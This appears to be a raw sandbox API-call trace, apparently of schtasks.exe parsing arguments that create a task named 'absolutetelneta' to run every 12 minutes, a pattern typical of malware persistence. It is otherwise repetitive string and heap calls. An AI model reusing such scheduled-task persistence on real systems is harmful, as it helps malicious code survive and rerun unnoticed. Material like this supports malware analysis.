_Buffer="|?|") returned 3 [0146.624] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|tn|") returned 4 [0146.624] lstrlenW (lpString="|?|") returned 3 [0146.624] lstrlenW (lpString="|tn|") returned 4 [0146.624] SetLastError (dwErrCode=0x490) [0146.625] lstrlenW (lpString="create") returned 6 [0146.625] lstrlenW (lpString="create") returned 6 [0146.625] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.625] lstrlenW (lpString="tn") returned 2 [0146.625] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.625] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|create|") returned 8 [0146.625] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|tn|") returned 4 [0146.625] lstrlenW (lpString="|create|") returned 8 [0146.625] lstrlenW (lpString="|tn|") returned 4 [0146.625] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0146.625] SetLastError (dwErrCode=0x490) [0146.625] lstrlenW (lpString="delete") returned 6 [0146.625] lstrlenW (lpString="delete") returned 6 [0146.625] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.625] lstrlenW (lpString="tn") returned 2 [0146.625] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.625] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|delete|") returned 8 [0146.625] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|tn|") returned 4 [0146.625] lstrlenW (lpString="|delete|") returned 8 [0146.625] lstrlenW (lpString="|tn|") returned 4 [0146.625] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0146.625] SetLastError (dwErrCode=0x490) [0146.625] lstrlenW (lpString="query") returned 5 [0146.625] lstrlenW (lpString="query") returned 5 [0146.625] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.625] lstrlenW (lpString="tn") returned 2 [0146.625] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.626] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x8, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|query|") returned 7 [0146.626] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|tn|") returned 4 [0146.626] lstrlenW (lpString="|query|") returned 7 [0146.626] lstrlenW (lpString="|tn|") returned 4 [0146.626] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0146.626] SetLastError (dwErrCode=0x490) [0146.626] lstrlenW (lpString="change") returned 6 [0146.626] lstrlenW (lpString="change") returned 6 [0146.626] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.626] lstrlenW (lpString="tn") returned 2 [0146.626] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.626] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|change|") returned 8 [0146.626] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|tn|") returned 4 [0146.626] lstrlenW (lpString="|change|") returned 8 [0146.626] lstrlenW (lpString="|tn|") returned 4 [0146.626] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0146.626] SetLastError (dwErrCode=0x490) [0146.626] lstrlenW (lpString="run") returned 3 [0146.626] lstrlenW (lpString="run") returned 3 [0146.626] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.626] lstrlenW (lpString="tn") returned 2 [0146.626] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.626] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x6, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|run|") returned 5 [0146.626] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|tn|") returned 4 [0146.626] lstrlenW (lpString="|run|") returned 5 [0146.626] lstrlenW (lpString="|tn|") returned 4 [0146.626] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0146.627] SetLastError (dwErrCode=0x490) [0146.627] lstrlenW (lpString="end") returned 3 [0146.627] lstrlenW (lpString="end") returned 3 [0146.627] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.627] lstrlenW (lpString="tn") returned 2 [0146.627] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.627] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x6, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|end|") returned 5 [0146.627] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|tn|") returned 4 [0146.627] lstrlenW (lpString="|end|") returned 5 [0146.627] lstrlenW (lpString="|tn|") returned 4 [0146.627] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0146.627] SetLastError (dwErrCode=0x490) [0146.627] lstrlenW (lpString="showsid") returned 7 [0146.627] lstrlenW (lpString="showsid") returned 7 [0146.627] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.627] GetProcessHeap () returned 0x3b0000 [0146.627] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc290) returned 1 [0146.627] GetProcessHeap () returned 0x3b0000 [0146.627] RtlReAllocateHeap (Heap=0x3b0000, Flags=0xc, Ptr=0x3cc290, Size=0x16) returned 0x3cc290 [0146.627] lstrlenW (lpString="tn") returned 2 [0146.627] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.627] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0xa, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|showsid|") returned 9 [0146.627] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|tn|") returned 4 [0146.627] lstrlenW (lpString="|showsid|") returned 9 [0146.628] lstrlenW (lpString="|tn|") returned 4 [0146.628] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0146.628] SetLastError (dwErrCode=0x490) [0146.628] SetLastError (dwErrCode=0x490) [0146.628] SetLastError (dwErrCode=0x0) [0146.628] lstrlenW (lpString="/tn") returned 3 [0146.628] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0146.628] SetLastError (dwErrCode=0x490) [0146.628] SetLastError (dwErrCode=0x0) [0146.628] lstrlenW (lpString="/tn") returned 3 [0146.628] GetProcessHeap () returned 0x3b0000 [0146.628] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x8) returned 0x3cc230 [0146.628] GetProcessHeap () returned 0x3b0000 [0146.628] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3ccc40 [0146.628] SetLastError (dwErrCode=0x0) [0146.628] SetLastError (dwErrCode=0x0) [0146.628] lstrlenW (lpString="absolutetelneta") returned 15 [0146.628] lstrlenW (lpString="-/") returned 2 [0146.628] StrChrIW (lpStart="-/", wMatch=0x61) returned 0x0 [0146.628] SetLastError (dwErrCode=0x490) [0146.628] SetLastError (dwErrCode=0x490) [0146.628] SetLastError (dwErrCode=0x0) [0146.628] lstrlenW (lpString="absolutetelneta") returned 15 [0146.628] StrChrIW (lpStart="absolutetelneta", wMatch=0x3a) returned 0x0 [0146.628] SetLastError (dwErrCode=0x490) [0146.628] SetLastError (dwErrCode=0x0) [0146.628] lstrlenW (lpString="absolutetelneta") returned 15 [0146.628] GetProcessHeap () returned 0x3b0000 [0146.628] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3ccc70 [0146.628] GetProcessHeap () returned 0x3b0000 [0146.628] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3ccca0 [0146.629] SetLastError (dwErrCode=0x0) [0146.629] SetLastError (dwErrCode=0x0) [0146.629] lstrlenW (lpString="/sc") returned 3 [0146.629] lstrlenW (lpString="-/") returned 2 [0146.629] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0146.629] lstrlenW (lpString="?") returned 1 [0146.629] lstrlenW (lpString="?") returned 1 [0146.629] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.629] lstrlenW (lpString="sc") returned 2 [0146.629] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.629] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|?|") returned 3 [0146.629] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|sc|") returned 4 [0146.629] lstrlenW (lpString="|?|") returned 3 [0146.629] lstrlenW (lpString="|sc|") returned 4 [0146.629] SetLastError (dwErrCode=0x490) [0146.629] lstrlenW (lpString="create") returned 6 [0146.629] lstrlenW (lpString="create") returned 6 [0146.629] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.629] lstrlenW (lpString="sc") returned 2 [0146.629] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.629] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|create|") returned 8 [0146.629] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|sc|") returned 4 [0146.629] lstrlenW (lpString="|create|") returned 8 [0146.629] lstrlenW (lpString="|sc|") returned 4 [0146.629] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0146.629] SetLastError (dwErrCode=0x490) [0146.629] lstrlenW (lpString="delete") returned 6 [0146.630] lstrlenW (lpString="delete") returned 6 [0146.630] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.630] lstrlenW (lpString="sc") returned 2 [0146.630] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.630] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|delete|") returned 8 [0146.630] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|sc|") returned 4 [0146.630] lstrlenW (lpString="|delete|") returned 8 [0146.630] lstrlenW (lpString="|sc|") returned 4 [0146.630] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0146.630] SetLastError (dwErrCode=0x490) [0146.630] lstrlenW (lpString="query") returned 5 [0146.630] lstrlenW (lpString="query") returned 5 [0146.630] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.630] lstrlenW (lpString="sc") returned 2 [0146.630] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.630] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x8, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|query|") returned 7 [0146.630] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|sc|") returned 4 [0146.630] lstrlenW (lpString="|query|") returned 7 [0146.630] lstrlenW (lpString="|sc|") returned 4 [0146.630] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0146.630] SetLastError (dwErrCode=0x490) [0146.630] lstrlenW (lpString="change") returned 6 [0146.630] lstrlenW (lpString="change") returned 6 [0146.630] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.630] lstrlenW (lpString="sc") returned 2 [0146.630] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.631] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|change|") returned 8 [0146.631] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|sc|") returned 4 [0146.631] lstrlenW (lpString="|change|") returned 8 [0146.631] lstrlenW (lpString="|sc|") returned 4 [0146.631] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0146.631] SetLastError (dwErrCode=0x490) [0146.631] lstrlenW (lpString="run") returned 3 [0146.631] lstrlenW (lpString="run") returned 3 [0146.631] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.631] lstrlenW (lpString="sc") returned 2 [0146.631] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.631] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x6, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|run|") returned 5 [0146.631] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|sc|") returned 4 [0146.631] lstrlenW (lpString="|run|") returned 5 [0146.631] lstrlenW (lpString="|sc|") returned 4 [0146.631] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0146.631] SetLastError (dwErrCode=0x490) [0146.631] lstrlenW (lpString="end") returned 3 [0146.631] lstrlenW (lpString="end") returned 3 [0146.631] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.631] lstrlenW (lpString="sc") returned 2 [0146.631] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.631] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x6, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|end|") returned 5 [0146.631] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|sc|") returned 4 [0146.631] lstrlenW (lpString="|end|") returned 5 [0146.632] lstrlenW (lpString="|sc|") returned 4 [0146.632] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0146.632] SetLastError (dwErrCode=0x490) [0146.632] lstrlenW (lpString="showsid") returned 7 [0146.632] lstrlenW (lpString="showsid") returned 7 [0146.632] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.632] lstrlenW (lpString="sc") returned 2 [0146.632] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.632] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0xa, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|showsid|") returned 9 [0146.632] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|sc|") returned 4 [0146.632] lstrlenW (lpString="|showsid|") returned 9 [0146.632] lstrlenW (lpString="|sc|") returned 4 [0146.632] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0146.632] SetLastError (dwErrCode=0x490) [0146.659] SetLastError (dwErrCode=0x490) [0146.659] SetLastError (dwErrCode=0x0) [0146.659] lstrlenW (lpString="/sc") returned 3 [0146.659] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0146.659] SetLastError (dwErrCode=0x490) [0146.659] SetLastError (dwErrCode=0x0) [0146.659] lstrlenW (lpString="/sc") returned 3 [0146.659] GetProcessHeap () returned 0x3b0000 [0146.659] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x8) returned 0x3cc2c0 [0146.659] GetProcessHeap () returned 0x3b0000 [0146.660] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3cccd0 [0146.660] SetLastError (dwErrCode=0x0) [0146.660] SetLastError (dwErrCode=0x0) [0146.660] lstrlenW (lpString="MINUTE") returned 6 [0146.660] lstrlenW (lpString="-/") returned 2 [0146.660] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0146.660] SetLastError (dwErrCode=0x490) [0146.660] SetLastError (dwErrCode=0x490) [0146.660] SetLastError (dwErrCode=0x0) [0146.660] lstrlenW (lpString="MINUTE") returned 6 [0146.660] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0146.660] SetLastError (dwErrCode=0x490) [0146.660] SetLastError (dwErrCode=0x0) [0146.660] lstrlenW (lpString="MINUTE") returned 6 [0146.660] GetProcessHeap () returned 0x3b0000 [0146.660] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0xe) returned 0x3cc2e0 [0146.660] GetProcessHeap () returned 0x3b0000 [0146.660] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3ccd00 [0146.660] SetLastError (dwErrCode=0x0) [0146.660] SetLastError (dwErrCode=0x0) [0146.660] lstrlenW (lpString="/mo") returned 3 [0146.660] lstrlenW (lpString="-/") returned 2 [0146.660] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0146.660] lstrlenW (lpString="?") returned 1 [0146.660] lstrlenW (lpString="?") returned 1 [0146.660] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.660] lstrlenW (lpString="mo") returned 2 [0146.660] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.661] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|?|") returned 3 [0146.661] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|mo|") returned 4 [0146.661] lstrlenW (lpString="|?|") returned 3 [0146.661] lstrlenW (lpString="|mo|") returned 4 [0146.661] SetLastError (dwErrCode=0x490) [0146.661] lstrlenW (lpString="create") returned 6 [0146.661] lstrlenW (lpString="create") returned 6 [0146.661] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.661] lstrlenW (lpString="mo") returned 2 [0146.661] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.661] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|create|") returned 8 [0146.661] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|mo|") returned 4 [0146.661] lstrlenW (lpString="|create|") returned 8 [0146.661] lstrlenW (lpString="|mo|") returned 4 [0146.661] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0146.661] SetLastError (dwErrCode=0x490) [0146.661] lstrlenW (lpString="delete") returned 6 [0146.661] lstrlenW (lpString="delete") returned 6 [0146.661] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.661] lstrlenW (lpString="mo") returned 2 [0146.661] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.661] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|delete|") returned 8 [0146.661] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|mo|") returned 4 [0146.661] lstrlenW (lpString="|delete|") returned 8 [0146.661] lstrlenW (lpString="|mo|") returned 4 [0146.661] StrStrIW (lpFirst="|delete|", lpSrch="|mo|") returned 0x0 [0146.662] SetLastError (dwErrCode=0x490) [0146.662] lstrlenW (lpString="query") returned 5 [0146.662] lstrlenW (lpString="query") returned 5 [0146.662] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.662] lstrlenW (lpString="mo") returned 2 [0146.662] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.662] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x8, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|query|") returned 7 [0146.662] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|mo|") returned 4 [0146.662] lstrlenW (lpString="|query|") returned 7 [0146.662] lstrlenW (lpString="|mo|") returned 4 [0146.662] StrStrIW (lpFirst="|query|", lpSrch="|mo|") returned 0x0 [0146.662] SetLastError (dwErrCode=0x490) [0146.662] lstrlenW (lpString="change") returned 6 [0146.662] lstrlenW (lpString="change") returned 6 [0146.662] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.662] lstrlenW (lpString="mo") returned 2 [0146.662] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.662] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|change|") returned 8 [0146.662] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|mo|") returned 4 [0146.662] lstrlenW (lpString="|change|") returned 8 [0146.662] lstrlenW (lpString="|mo|") returned 4 [0146.662] StrStrIW (lpFirst="|change|", lpSrch="|mo|") returned 0x0 [0146.662] SetLastError (dwErrCode=0x490) [0146.662] lstrlenW (lpString="run") returned 3 [0146.662] lstrlenW (lpString="run") returned 3 [0146.662] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.663] lstrlenW (lpString="mo") returned 2 [0146.663] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.663] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x6, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|run|") returned 5 [0146.663] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|mo|") returned 4 [0146.663] lstrlenW (lpString="|run|") returned 5 [0146.663] lstrlenW (lpString="|mo|") returned 4 [0146.663] StrStrIW (lpFirst="|run|", lpSrch="|mo|") returned 0x0 [0146.663] SetLastError (dwErrCode=0x490) [0146.663] lstrlenW (lpString="end") returned 3 [0146.663] lstrlenW (lpString="end") returned 3 [0146.663] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.663] lstrlenW (lpString="mo") returned 2 [0146.663] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.663] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x6, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|end|") returned 5 [0146.663] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|mo|") returned 4 [0146.663] lstrlenW (lpString="|end|") returned 5 [0146.663] lstrlenW (lpString="|mo|") returned 4 [0146.663] StrStrIW (lpFirst="|end|", lpSrch="|mo|") returned 0x0 [0146.663] SetLastError (dwErrCode=0x490) [0146.663] lstrlenW (lpString="showsid") returned 7 [0146.663] lstrlenW (lpString="showsid") returned 7 [0146.664] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.664] lstrlenW (lpString="mo") returned 2 [0146.664] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.664] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0xa, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|showsid|") returned 9 [0146.664] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|mo|") returned 4 [0146.664] lstrlenW (lpString="|showsid|") returned 9 [0146.664] lstrlenW (lpString="|mo|") returned 4 [0146.664] StrStrIW (lpFirst="|showsid|", lpSrch="|mo|") returned 0x0 [0146.664] SetLastError (dwErrCode=0x490) [0146.664] SetLastError (dwErrCode=0x490) [0146.664] SetLastError (dwErrCode=0x0) [0146.664] lstrlenW (lpString="/mo") returned 3 [0146.664] StrChrIW (lpStart="/mo", wMatch=0x3a) returned 0x0 [0146.664] SetLastError (dwErrCode=0x490) [0146.664] SetLastError (dwErrCode=0x0) [0146.664] lstrlenW (lpString="/mo") returned 3 [0146.664] GetProcessHeap () returned 0x3b0000 [0146.664] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x8) returned 0x3cc300 [0146.664] GetProcessHeap () returned 0x3b0000 [0146.664] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3ccd30 [0146.664] SetLastError (dwErrCode=0x0) [0146.664] SetLastError (dwErrCode=0x0) [0146.664] lstrlenW (lpString="12") returned 2 [0146.664] lstrlenW (lpString="-/") returned 2 [0146.664] StrChrIW (lpStart="-/", wMatch=0x31) returned 0x0 [0146.664] SetLastError (dwErrCode=0x490) [0146.664] SetLastError (dwErrCode=0x490) [0146.664] SetLastError (dwErrCode=0x0) [0146.664] lstrlenW (lpString="12") returned 2 [0146.665] StrChrIW (lpStart="12", wMatch=0x3a) returned 0x0 [0146.665] SetLastError (dwErrCode=0x490) [0146.665] SetLastError (dwErrCode=0x0) [0146.665] lstrlenW (lpString="12") returned 2 [0146.665] GetProcessHeap () returned 0x3b0000 [0146.665] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x6) returned 0x3cc320 [0146.665] GetProcessHeap () returned 0x3b0000 [0146.665] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3ccd60 [0146.665] SetLastError (dwErrCode=0x0) [0146.665] SetLastError (dwErrCode=0x0) [0146.665] lstrlenW (lpString="/tr") returned 3 [0146.665] lstrlenW (lpString="-/") returned 2 [0146.665] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0146.665] lstrlenW (lpString="?") returned 1 [0146.665] lstrlenW (lpString="?") returned 1 [0146.665] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.665] lstrlenW (lpString="tr") returned 2 [0146.665] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.665] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|?|") returned 3 [0146.665] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|tr|") returned 4 [0146.665] lstrlenW (lpString="|?|") returned 3 [0146.665] lstrlenW (lpString="|tr|") returned 4 [0146.665] SetLastError (dwErrCode=0x490) [0146.665] lstrlenW (lpString="create") returned 6 [0146.665] lstrlenW (lpString="create") returned 6 [0146.665] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.665] lstrlenW (lpString="tr") returned 2 [0146.665] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.665] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|create|") returned 8 [0146.666] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|tr|") returned 4 [0146.666] lstrlenW (lpString="|create|") returned 8 [0146.666] lstrlenW (lpString="|tr|") returned 4 [0146.666] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0146.666] SetLastError (dwErrCode=0x490) [0146.666] lstrlenW (lpString="delete") returned 6 [0146.666] lstrlenW (lpString="delete") returned 6 [0146.666] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.666] lstrlenW (lpString="tr") returned 2 [0146.666] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.666] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|delete|") returned 8 [0146.666] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|tr|") returned 4 [0146.666] lstrlenW (lpString="|delete|") returned 8 [0146.666] lstrlenW (lpString="|tr|") returned 4 